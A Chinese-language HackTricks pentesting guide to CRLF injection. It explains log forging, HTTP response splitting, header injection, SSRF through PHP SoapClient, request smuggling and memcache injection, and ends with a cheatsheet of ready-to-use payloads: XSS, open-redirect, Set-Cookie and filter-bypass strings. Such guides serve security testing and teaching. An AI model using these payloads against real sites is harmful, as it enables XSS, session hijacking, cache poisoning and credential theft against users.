hacktricks/pentesting-web/crlf-0d-0a.md

15 KiB
Raw Blame History

CRLF (%0D%0A)注入

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

如果你对黑客职业感兴趣并且想要攻破不可攻破的东西- 我们正在招聘!(需要流利的波兰语书写和口语能力)。

{% embed url="https://www.stmcyber.com/careers" %}

什么是CRLF

当浏览器向Web服务器发送请求时Web服务器会回复一个包含HTTP响应头和实际网站内容即响应体的响应。HTTP头和HTML响应网站内容由特定的特殊字符组合分隔即回车和换行符。简称为CRLF。

Web服务器使用CRLF来理解新的HTTP头开始和另一个HTTP头结束的位置。CRLF还可以告诉Web应用程序或用户文件或文本块中的新行开始。CRLF字符是标准的HTTP/1.1消息因此它被任何类型的Web服务器使用包括Apache、Microsoft IIS和其他所有服务器。
来自https://www.netsparker.com/blog/web-security/crlf-http-header/#

什么是CRLF注入漏洞

在CRLF注入漏洞攻击中攻击者将回车和换行符插入用户输入以欺骗服务器、Web应用程序或用户认为一个对象已经终止另一个对象已经开始。因此CRLF序列不是恶意字符但它们可以被用于恶意目的例如HTTP响应拆分等。

Web应用程序中的CRLF注入

在Web应用程序中CRLF注入可能会产生严重影响具体取决于应用程序对单个项目的处理方式。影响可能从信息泄露到代码执行直接影响Web应用程序安全漏洞。实际上CRLF注入攻击可能对Web应用程序产生非常严重的后果即使它从未出现在OWASP Top 10列表中。例如可以在下面的示例中解释如何操纵管理员面板中的日志文件。

日志文件中CRLF注入的示例

想象一下一个管理员面板中有一个日志文件其输出流模式为IP - 时间 - 访问路径,如下所示:

123.123.123.123 - 08:15 - /index.php?page=home

如果攻击者能够将CRLF字符注入到HTTP请求中他就能够改变输出流并伪造日志条目。他可以将Web应用程序的响应更改为以下内容

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

%0d and %0a是CR和LF的URL编码形式。因此当攻击者插入这些字符并应用程序显示时日志条目将如下所示

IP - 时间 - 访问路径

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

因此通过利用CRLF注入漏洞攻击者可以伪造日志文件中的条目以掩盖自己的恶意行为。攻击者实际上是在进行页面劫持并修改响应。例如想象一种情况攻击者拥有管理员密码并执行了restrictedaction参数该参数只能由管理员使用。

问题在于如果管理员注意到一个未知的IP使用了restrictedaction参数就会意识到有问题。然而由于现在看起来像是命令是由本地主机发出的因此可能是有服务器访问权限的人比如管理员这看起来并不可疑。

查询的整个部分,从%0d%0a开始的部分将被服务器作为一个参数处理。之后还有一个&符号带有restricted action参数服务器将将其解析为另一个参数。实际上这将是与以下查询相同的查询

/index.php?page=home&restrictedaction=edit

HTTP响应拆分

描述

由于HTTP响应的头部和主体之间由CRLF字符分隔攻击者可以尝试注入这些字符。CRLFCRLF的组合将告诉浏览器头部结束主体开始。这意味着攻击者现在可以在响应主体中写入数据其中存储了HTML代码。这可能导致跨站脚本漏洞。

HTTP响应拆分导致XSS的示例

想象一个设置自定义头部的应用程序,例如:

X-Your-Name: Bob

标题的值是通过一个名为"name"的get参数设置的。如果没有进行URL编码并且该值直接反映在标题中攻击者可能会插入上述的CRLFCRLF组合以告诉浏览器请求体的开始。这样他就能够插入诸如XSS有效负载的数据例如

?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>

上述代码将在受攻击域的上下文中显示一个警示窗口。

HTTP响应拆分导致重定向的示例

{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}

浏览器跳转至:

/%0d%0aLocation:%20http://myweb.com

然后服务器响应的头部是:

Location: http://myweb.com

其他示例:(来自 https://www.acunetix.com/websitesecurity/crlf-injection/

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

在URL路径中

您可以将负载放在URL路径中,以控制服务器的响应

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}

HTTP头注入

描述

通过利用CRLF注入攻击者还可以插入HTTP头这可能用于破坏安全机制如浏览器的XSS过滤器或同源策略。这使得攻击者可以获取敏感信息如CSRF令牌。他还可以设置Cookie这可能被利用来登录受害者的帐户或者利用其他无法利用的跨站脚本XSS漏洞

一个用于提取敏感数据的HTTP头注入示例

如果攻击者能够注入激活CORS跨域资源共享的HTTP头他可以使用JavaScript访问受同源策略SOP保护的资源该策略防止不同源的站点相互访问。

在SSRF中创建新的HTTP请求

利用CRLF注入您可以构造一个新的HTTP请求并注入它。
一个很好的例子是使用PHP中的SoapClient反序列化工具。这个类在user_agent参数中容易受到CRLF注入的漏洞,允许插入新的头部和正文内容。然而,您甚至可以利用这个漏洞来注入一个新的HTTP请求

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

#Put a nc listening in port 9090
$client->__soapCall("test", []);

请求劫持进行请求走私

您可以注入必要的标头,以确保后端在响应初始请求后保持连接打开

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

然后,指定第二个请求。这里有一个经典的请求走私,服务器在注入后附加了额外的头部/主体。

以下是两种跨用户利用的选项。

指定一个恶意前缀以污染下一个用户的请求或者一个Web缓存

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

或者通过精心构造前缀与尾部垃圾结合,创建一个完整的第二个请求,以触发响应队列污染

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

有关此技术和潜在问题的更多信息,请查看原始来源

Memcache注入

Memcache是一个使用明文协议的键值存储。更多信息请参见:

{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}

如果一个平台从HTTP请求中获取数据并在未经过消毒的情况下使用它来执行对memcache服务器的请求攻击者可以利用这种行为来注入新的memcache命令

例如在最初发现的漏洞中缓存键被用于返回用户应连接到的IP和端口攻击者能够注入memcache命令,以便将受害者的详细信息(包括用户名和密码)发送到攻击者的服务器:

此外研究人员还发现他们可以解除memcache响应将攻击者的IP和端口发送给攻击者不知道其电子邮件的用户

要获取完整信息,请阅读原始报告

CRLF注入漏洞的影响

CRLF注入的影响各不相同还包括所有跨站脚本攻击的影响如信息泄露。它还可以禁用受害者浏览器中的某些安全限制如XSS过滤器和同源策略使其容易受到恶意攻击。

如何预防Web应用中的CRLF / HTTP头注入

最佳的预防技术是不直接在响应头中使用用户输入。如果不可能应始终使用函数对CRLF特殊字符进行编码。另一个良好的Web应用程序安全最佳实践是将编程语言更新到不允许在设置HTTP头的函数中注入CR和LF的版本。

CHEATSHEET

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

工具

{% embed url="https://github.com/dwisiswant0/crlfuzz" %}

暴力破解检测列表

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt" %}

参考资料

如果您对黑客职业感兴趣并想要攻破不可攻破的目标 - 我们正在招聘!(需要流利的波兰语书面和口语能力)。

{% embed url="https://www.stmcyber.com/careers" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥